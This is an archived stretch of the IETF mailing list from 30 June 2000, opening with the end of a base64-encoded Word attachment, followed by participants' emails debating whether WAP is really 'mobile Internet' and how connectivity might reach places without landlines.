AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAEAAAACAAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACQAAAAoAAAALAAAADAAA
AA0AAAAOAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAA/v///xYAAAAXAAAAGAAAABkAAAAaAAAA
GwAAABwAAAAdAAAA/v///x8AAAAgAAAAIQAAACIAAAAjAAAAJAAAACUAAAD+////JwAAACgAAAAp
AAAAKgAAACsAAAAsAAAALQAAAP7////9////MAAAAP7////+/////v//////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////UgBvAG8AdAAgAEUAbgB0AHIAeQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAABYABQH//////////wMAAAAGCQIAAAAAAMAAAAAAAABGAAAAAEDenzD9
2b8BwAVPd13cvwEyAAAAgAAAAAAAAAAxAFQAYQBiAGwAZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgACAP///////////////wAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABUAAACkEAAAAAAAAFcAbwByAGQARABvAGMAdQBtAGUA
bgB0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAAIBBQAAAP//////
////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIoAAAAAAAABQBTAHUA
bQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ACgAAgECAAAABAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeAAAA
ABAAAAAAAAAFAEQAbwBjAHUAbQBlAG4AdABTAHUAbQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEAdABp
AG8AbgAAAAAAAAAAAAAAOAACAf///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAACYAAAAAEAAAAAAAAAEAQwBvAG0AcABPAGIAagAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAIBAQAAAAYAAAD/////AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGoAAAAAAAAATwBiAGoAZQBjAHQAUABvAG8AbAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYAAQD/////////////
//8AAAAAAAAAAAAAAAAAAAAAAAAAAMAFT3dd3L8BwAVPd13cvwEAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAEAAAD+////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////AQD+/wMKAAD/////BgkCAAAAAADAAAAAAAAARhgAAABEb2N1bWVudCBNaWNyb3NvZnQg
V29yZAAKAAAATVNXb3JkRG9jABAAAABXb3JkLkRvY3VtZW50LjgA9DmycQAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA=

------=_NextPart_000_0545_01BFE28C.AEA65B60--



From owner-ietf-outbound  Fri Jun 30 08:00:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA14540
	for ietf-outbound.10@ietf.org; Fri, 30 Jun 2000 08:00:01 -0400 (EDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA14400
	for <ietf@ietf.org>; Fri, 30 Jun 2000 07:54:04 -0400 (EDT)
Received: from lms001.lu.erisoft.se (lms001.lu.erisoft.se [150.132.144.19])
	by penguin.wise.edt.ericsson.se (8.10.1/8.10.1/WIREfire-1.9) with ESMTP id e5UBs3s14119
	for <ietf@ietf.org>; Fri, 30 Jun 2000 13:54:03 +0200 (MET DST)
Received: by lms001.lu.erisoft.se id NAA10857; Fri, 30 Jun 2000 13:54:02 +0200 (MET DST)
Message-ID: <008301bfe289$f0e1f3c0$6764d693@e00008639f5da>
From: "Lars-Erik Jonsson" <lars-erik.jonsson@ericsson.com>
To: <ietf@ietf.org>
Subject: Is WAP mobile Internet??
Date: Fri, 30 Jun 2000 13:54:24 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3155.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Hi Folks!!

I would like to hear your opinions about how WAP people often say that WAP is
"mobile Internet". In my opinion, WAP is NOT mobile Internet at all. The
Internet is built on the e2e principle and based on the Internet Protocols,
which WAP is not. I can not tell people that they should not use WAP (even if I
have my opinions about WAP). If they believe in WAP that is their problem, but
when they try to use the words WAP and Internet in the same sentence I think it
is time to clarify a few things. I accept that WAP is there, but be honest about
what it is.

Cheers!
/Lars-Erik (expressing my PERSONAL opinions)




From owner-ietf-outbound  Fri Jun 30 08:20:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA15150
	for ietf-outbound.10@ietf.org; Fri, 30 Jun 2000 08:20:02 -0400 (EDT)
Received: from mailer1.lut.ac.uk (mailer1.lut.ac.uk [158.125.1.202])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA15068
	for <ietf@ietf.org>; Fri, 30 Jun 2000 08:17:19 -0400 (EDT)
Received: from jon (helo=localhost)
	by mailer1.lut.ac.uk with local-smtp (Exim 2.10 #1)
	id 137zjR-0002eC-00; Fri, 30 Jun 2000 13:17:17 +0100
Date: Fri, 30 Jun 2000 13:17:16 +0100 (BST)
From: Jon Knight <J.P.Knight@lboro.ac.uk>
X-Sender: jon@mailer1
To: Rosie Drugeault <rosie@ptolemee.com>
cc: ietf@ietf.org
Subject: Re: Speakers - WAP CONVENTION - The European Event
In-Reply-To: <057401bfe27c$53495480$0a00000a@oemcomputer>
Message-ID: <Pine.SOL.3.96.1000630131633.10168A-100000@mailer1>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Lboro-Filtered: mailer1.lut.ac.uk, Fri, 30 Jun 2000 13:17:17 +0100
X-Loop: ietf@ietf.org

I might be missing something here but weren't mobile phones around for
years before they became as ubiquituous as they are now?

Tatty bye,

Jim'll



From owner-ietf-outbound  Fri Jun 30 08:30:36 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA15488
	for ietf-outbound.10@ietf.org; Fri, 30 Jun 2000 08:30:02 -0400 (EDT)
Received: from zmamail03.zma.compaq.com (zmamail03.zma.compaq.com [161.114.64.103])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA15344
	for <ietf@ietf.org>; Fri, 30 Jun 2000 08:24:49 -0400 (EDT)
Received: by zmamail03.zma.compaq.com (Postfix, from userid 12345)
	id 6283F4242; Fri, 30 Jun 2000 08:24:19 -0400 (EDT)
Received: from excreo-gh02.reo.cpqcorp.net (excreo-gh02.reo.cpqcorp.net [16.37.150.254])
	by zmamail03.zma.compaq.com (Postfix) with ESMTP
	id F059B4067; Fri, 30 Jun 2000 08:24:18 -0400 (EDT)
Received: by excreo-gh02.reo.cpqcorp.net with Internet Mail Service (5.5.2650.21)
	id <N6ZR4B0F>; Fri, 30 Jun 2000 13:24:18 +0100
Message-ID: <71C4C55F198BD211B24F0000F842F15807ED9BAC@reoexc6.reo.cpqcorp.net>
From: "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>
To: "'Lars-Erik Jonsson'" <lars-erik.jonsson@ERICSSON.COM>, ietf@ietf.org
Subject: RE: Is WAP mobile Internet??
Date: Fri, 30 Jun 2000 13:24:16 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Okay WAP at the moment is only in its baby stage, hence a few mobile phones
have it and a few other devices, and yes at the moment its not very good,
but that's because of the current technology. I know I keep going on about
it, but, I'm sure Bluetooth can and will change the way people use WAP and
as the applications become Bluetooth enabled, WAP is a perfect way of
transmitting data. 

Have a look at
http://news6.thdo.bbc.co.uk/hi/english/sci/tech/newsid%5F791000/791297.stm
Sony has said It is planning to put the Bluetooth short range wireless
technology in almost every gadget it produces making it easier to get at
data in any device, whether that is messages, music or video. 

IE
Walkmans, laptops, digital cameras and even electronic pets like the Aibo
robotic. 

WAP will be a perfect side technology for this. 

'This is just my opinion and not that of Compaq's (Yet :-))'

-----Original Message-----
From: Lars-Erik Jonsson [mailto:lars-erik.jonsson@ERICSSON.COM]
Sent: Friday, June 30, 2000 12:54 PM
To: ietf@ietf.org
Subject: Is WAP mobile Internet??


Hi Folks!!

I would like to hear your opinions about how WAP people often say that WAP
is
"mobile Internet". In my opinion, WAP is NOT mobile Internet at all. The
Internet is built on the e2e principle and based on the Internet Protocols,
which WAP is not. I can not tell people that they should not use WAP (even
if I
have my opinions about WAP). If they believe in WAP that is their problem,
but
when they try to use the words WAP and Internet in the same sentence I think
it
is time to clarify a few things. I accept that WAP is there, but be honest
about
what it is.

Cheers!
/Lars-Erik (expressing my PERSONAL opinions)



From owner-ietf-outbound  Fri Jun 30 08:50:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA16062
	for ietf-outbound.10@ietf.org; Fri, 30 Jun 2000 08:50:02 -0400 (EDT)
Received: from nix.swip.net (nix.swip.net [192.71.220.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA15999
	for <ietf@ietf.org>; Fri, 30 Jun 2000 08:47:09 -0400 (EDT)
Received: from [192.168.124.95] (nix.swip.net [192.71.220.2]) 
          by nix.swip.net (8.8.8/8.8.8) with ESMTP 
          id OAA16216; 
          Fri, 30 Jun 2000 14:46:21 +0200 (MET DST)
Mime-Version: 1.0
X-Sender: paf@127.0.0.1
Message-Id: <p04320417b582455e6a91@[192.168.124.95]>
In-Reply-To: <008301bfe289$f0e1f3c0$6764d693@e00008639f5da>
References: <008301bfe289$f0e1f3c0$6764d693@e00008639f5da>
Date: Fri, 30 Jun 2000 14:43:37 +0200
To: "Lars-Erik Jonsson" <lars-erik.jonsson@ericsson.com>, <ietf@ietf.org>
From: Patrik =?iso-8859-1?Q?F=E4ltstr=F6m?=  <paf@swip.net>
Subject: Re: Is WAP mobile Internet??
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Loop: ietf@ietf.org

At 13.54 +0200 00-06-30, Lars-Erik Jonsson wrote:
>I would like to hear your opinions about how WAP people often say that WAP is
>"mobile Internet".

Well, Ericsson do in their ads :-) :-) (I say to a person at Ericsson).

 From my point of view, you can (through a proxy service) access 
(some) Internet Services via WAP, but not Internet. Exactly because 
of the reasons you listed in your email.

Internet is end2end IP.

If you understand swedish, you can find one specification of "what 
should be part of an Internet connection" on

http://www.itkommissionen.se/obs/obs_spec.html

It specifies what is needed for calling something "Internet".

Nothing connected to WAP will pass those tests.

    paf



From owner-ietf-outbound  Fri Jun 30 10:41:28 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA18478
	for ietf-outbound.10@ietf.org; Fri, 30 Jun 2000 10:40:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18365
	for <ietf@ietf.org>; Fri, 30 Jun 2000 10:31:31 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e5UEVTP10948;
	Fri, 30 Jun 2000 10:31:29 -0400
Message-Id: <200006301431.e5UEVTP10948@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.2 06/16/2000 with nmh-1.0.4+dev
To: Anthony Atkielski <anthony@atkielski.com>
Cc: ietf@ietf.org
Subject: Re: WAP - What A Problem... 
In-Reply-To: Your message of "Fri, 30 Jun 2000 00:41:37 +0200."
             <00a001bfe21b$33de1510$0a00000a@abo.wanadoo.fr> 
X-Url: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <20000629164137.15200.qmail@web1701.mail.yahoo.com>
            <00a001bfe21b$33de1510$0a00000a@abo.wanadoo.fr>
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_1400690112P";
	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Fri, 30 Jun 2000 10:31:28 -0400
X-Loop: ietf@ietf.org

--==_Exmh_1400690112P
Content-Type: text/plain; charset=us-ascii

On Fri, 30 Jun 2000 00:41:37 +0200, Anthony Atkielski <anthony@atkielski.com>  said:
> If they are that lacking in mere wires, they probably aren't in a position
> to profit from access to the Internet in the first place.  That is, if they
> lack telephones (and that's all they need for broadband, or at least it's
> the better part of the battle), why would they be surfing the Web?  First
> things first.

The fact that they lack wires doesn't mean they lack telephones.

Remember that wires are expensive to pull, especially for those 3 houses
out on the far side of the mountain down the dirt road.

> Countries without landlines are not going to be a part of the global economy
> unless they upgrade in a major way very soon.

You got this wrong.  Countries without *connectivity* will be screwed. There's
no *obvious* requirement that there be a landline involved.

Having said that, I'm *not* a WAP proponent. ;)
-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech


--==_Exmh_1400690112P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.2
Comment: Exmh version 2.2 06/16/2000

iQA/AwUBOVyvQHAt5Vm009ewEQIiFQCg0JSpO0lyZ4M+SrYjcp6OStgHGhIAoPvT
WYhzbr/zIGLAW4DuOY7RXCok
=DY7r
-----END PGP SIGNATURE-----

--==_Exmh_1400690112P--



From owner-ietf-outbound  Fri Jun 30 11:30:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA19545
	for ietf-outbound.10@ietf.org; Fri, 30 Jun 2000 11:30:02 -0400 (EDT)
Received: from web1704.mail.yahoo.com (web1704.mail.yahoo.com [128.11.23.215])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA19355
	for <ietf@ietf.org>; Fri, 30 Jun 2000 11:22:38 -0400 (EDT)
Received: (qmail 11291 invoked by uid 60001); 30 Jun 2000 15:22:38 -0000
Message-ID: <20000630152238.11290.qmail@web1704.mail.yahoo.com>
Received: from [57.250.224.246] by web1704.mail.yahoo.com; Fri, 30 Jun 2000 08:22:38 PDT
Date: Fri, 30 Jun 2000 08:22:38 -0700 (PDT)
From: Alan Simpkins <alan_simpkins@yahoo.com>
Subject: Re: WAP - What A Problem... 
To: Valdis.Kletnieks@vt.edu, Anthony Atkielski <anthony@atkielski.com>
Cc: ietf@ietf.org
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Loop: ietf@ietf.org

Valdis, I agree with you a hundred percent. The most
expensive part of infrastructure is pulling the
cables/fiber necessary to build the infrastrucuture.

--- Valdis.Kletnieks@vt.edu wrote:
> On Fri, 30 Jun 2000 00:41:37 +0200, Anthony
> Atkielski <anthony@atkielski.com>  said:
> > If they are that lacking in mere wires, they
> probably aren't in a position
> > to profit from access to the Internet in the first
> place.  That is, if they
> > lack telephones (and that's all they need for
> broadband, or at least it's
> > the better part of the battle), why would they be
> surfing the Web?  First
> > things first.
> 
> The fact that they lack wires doesn't mean they lack
> telephones.
> 
> Remember that wires are expensive to pull,
> especially for those 3 houses
> out on the far side of the mountain down the dirt
> road.
> 
> > Countries without landlines are not going to be a
> part of the global economy
> > unless they upgrade in a major way very soon.
> 
> You got this wrong.  Countries without
> *connectivity* will be screwed. There's
> no *obvious* requirement that there be a landline
> involved.
> 
> Having said that, I'm *not* a WAP proponent. ;)
> -- 
> 				Valdis Kletnieks
> 				Operating Systems Analyst
> 				Virginia Tech
> 
> 

> ATTACHMENT part 2 application/pgp-signature 



__________________________________________________
Do You Yahoo!?
Get Yahoo! Mail - Free email you can access from anywhere!
http://mail.yahoo.com/



From owner-ietf-outbound  Fri Jun 30 12:30:35 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA21370
	for ietf-outbound.10@ietf.org; Fri, 30 Jun 2000 12:30:04 -0400 (EDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA21238
	for <ietf@ietf.org>; Fri, 30 Jun 2000 12:25:02 -0400 (EDT)
Received: from scary.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.12701-0@bells.cs.ucl.ac.uk>; Fri, 30 Jun 2000 17:24:45 +0100
To: Alan Simpkins <alan_simpkins@yahoo.com>
cc: Valdis.Kletnieks@vt.edu, Anthony Atkielski <anthony@atkielski.com>,
        ietf@ietf.org, J.Crowcroft@CS.UCL.AC.UK
Subject: Re: WAP - What A Problem...
In-reply-to: Your message of "Fri, 30 Jun 2000 08:22:38 PDT." <20000630152238.11290.qmail@web1704.mail.yahoo.com>
Date: Fri, 30 Jun 2000 17:24:43 +0100
Message-ID: <1287.962382283@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@CS.UCL.AC.UK>
X-Loop: ietf@ietf.org


In message <20000630152238.11290.qmail@web1704.mail.yahoo.com>, Alan Simpkins t
yped:

 >>Valdis, I agree with you a hundred percent. The most
 >>expensive part of infrastructure is pulling the
 >>cables/fiber necessary to build the infrastrucuture.

thats why intelsat and a cosortium of telcos has a charity that built
a box that is solar powered and provides n gsm phones access + 1
64kbps uplink/downlink to geostatinary atellites

actualyl, a LOT of places that are really poor in the world dont even
have electricty- but they can get batteries and if they use sms (e.g.
for calling emergency service/flying doctors/vets etc), they
can make them last quite a long time
 >>
 >>--- Valdis.Kletnieks@vt.edu wrote:
 >>> On Fri, 30 Jun 2000 00:41:37 +0200, Anthony
 >>> Atkielski <anthony@atkielski.com>  said:
 >>> > If they are that lacking in mere wires, they
 >>> probably aren't in a position
 >>> > to profit from access to the Internet in the first
 >>> place.  That is, if they
 >>> > lack telephones (and that's all they need for
 >>> broadband, or at least it's
 >>> > the better part of the battle), why would they be
 >>> surfing the Web?  First
 >>> > things first.
 >>> 
 >>> The fact that they lack wires doesn't mean they lack
 >>> telephones.
 >>> 
 >>> Remember that wires are expensive to pull,
 >>> especially for those 3 houses
 >>> out on the far side of the mountain down the dirt
 >>> road.
 >>> 
 >>> > Countries without landlines are not going to be a
 >>> part of the global economy
 >>> > unless they upgrade in a major way very soon.
 >>> 
 >>> You got this wrong.  Countries without
 >>> *connectivity* will be screwed. There's
 >>> no *obvious* requirement that there be a landline
 >>> involved.
 >>> 
 >>> Having said that, I'm *not* a WAP proponent. ;)
 >>> -- 
 >>> 				Valdis Kletnieks
 >>> 				Operating Systems Analyst
 >>> 				Virginia Tech
 >>> 
 >>> 
 >>
 >>> ATTACHMENT part 2 application/pgp-signature 
 >>
 >>
 >>
 >>__________________________________________________
 >>Do You Yahoo!?
 >>Get Yahoo! Mail - Free email you can access from anywhere!
 >>http://mail.yahoo.com/
 >>

 cheers

   jon



From owner-ietf-outbound  Fri Jun 30 13:21:32 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA22657
	for ietf-outbound.10@ietf.org; Fri, 30 Jun 2000 13:20:02 -0400 (EDT)
Received: from atkielski.com (atkielski.com [161.58.232.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA22566
	for <ietf@ietf.org>; Fri, 30 Jun 2000 13:12:35 -0400 (EDT)
Received: from AStLambert101214 (ASt-Lambert-101-2-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.8.8) id TAA37956; Fri, 30 Jun 2000 19:12:28 +0200 (CEST)
Message-ID: <002201bfe2b6$5e68b970$0a00000a@abo.wanadoo.fr>
From: "Anthony Atkielski" <anthony@atkielski.com>
To: <ietf@ietf.org>
References: <1287.962382283@cs.ucl.ac.uk>
Subject: Re: WAP - What A Problem...
Date: Fri, 30 Jun 2000 19:12:26 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

> thats why intelsat and a cosortium of telcos has
> a charity that built a box that is solar powered
> and provides n gsm phones access + 1 64kbps uplink/
> downlink to geostatinary atellites

So that's what, 64/5 = 13 kbps per user?  Even as current Internet designs
require ever more bandwidth and strain even multi-megabit connections?  And
has anyone considered what happens when you have 6 million active ground
transceivers trying to communicate with a single satellite?

> actualyl, a LOT of places that are really poor in
> the world dont even have electricty- but they can get
> batteries and if they use sms (e.g. for calling
> emergency service/flying doctors/vets etc), they
> can make them last quite a long time

Why use SMS instead of just voice?

Has anyone considered the ergonomics of WAP?  Even if it works perfectly,
how many people are willing to work on a screen smaller than a credit card?
How many people are capable of touch-typing on a keyboard with only ten soft
keys that must be pressed in various arcane combinations for almost ever
letter?  It just doesn't make intuitive sense.

Anyway, I have a really good instinct for picking technology winners, and
thus far I put WAP in the same category as MiniDiscs, bubble memory, color
fax machines, and quadraphonic sound.  I think the growth area is in
broadband land-based links; I don't understand why people have flown off on
tangents towards wireless when land links are just starting to come into
their own.  I suspect it is more politically motivated than technically
motivated, and that is one reason why I think it will fail.  A lot of time
and effort is being wasted on WAP.





From owner-ietf-outbound  Fri Jun 30 14:00:33 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA23165
	for ietf-outbound.10@ietf.org; Fri, 30 Jun 2000 14:00:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA23116
	for <ietf@ietf.org>; Fri, 30 Jun 2000 13:57:40 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e5UHvcP33104;
	Fri, 30 Jun 2000 13:57:38 -0400
Message-Id: <200006301757.e5UHvcP33104@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.2 06/16/2000 with nmh-1.0.4+dev
To: Anthony Atkielski <anthony@atkielski.com>
Cc: ietf@ietf.org
Subject: Re: WAP - What A Problem... 
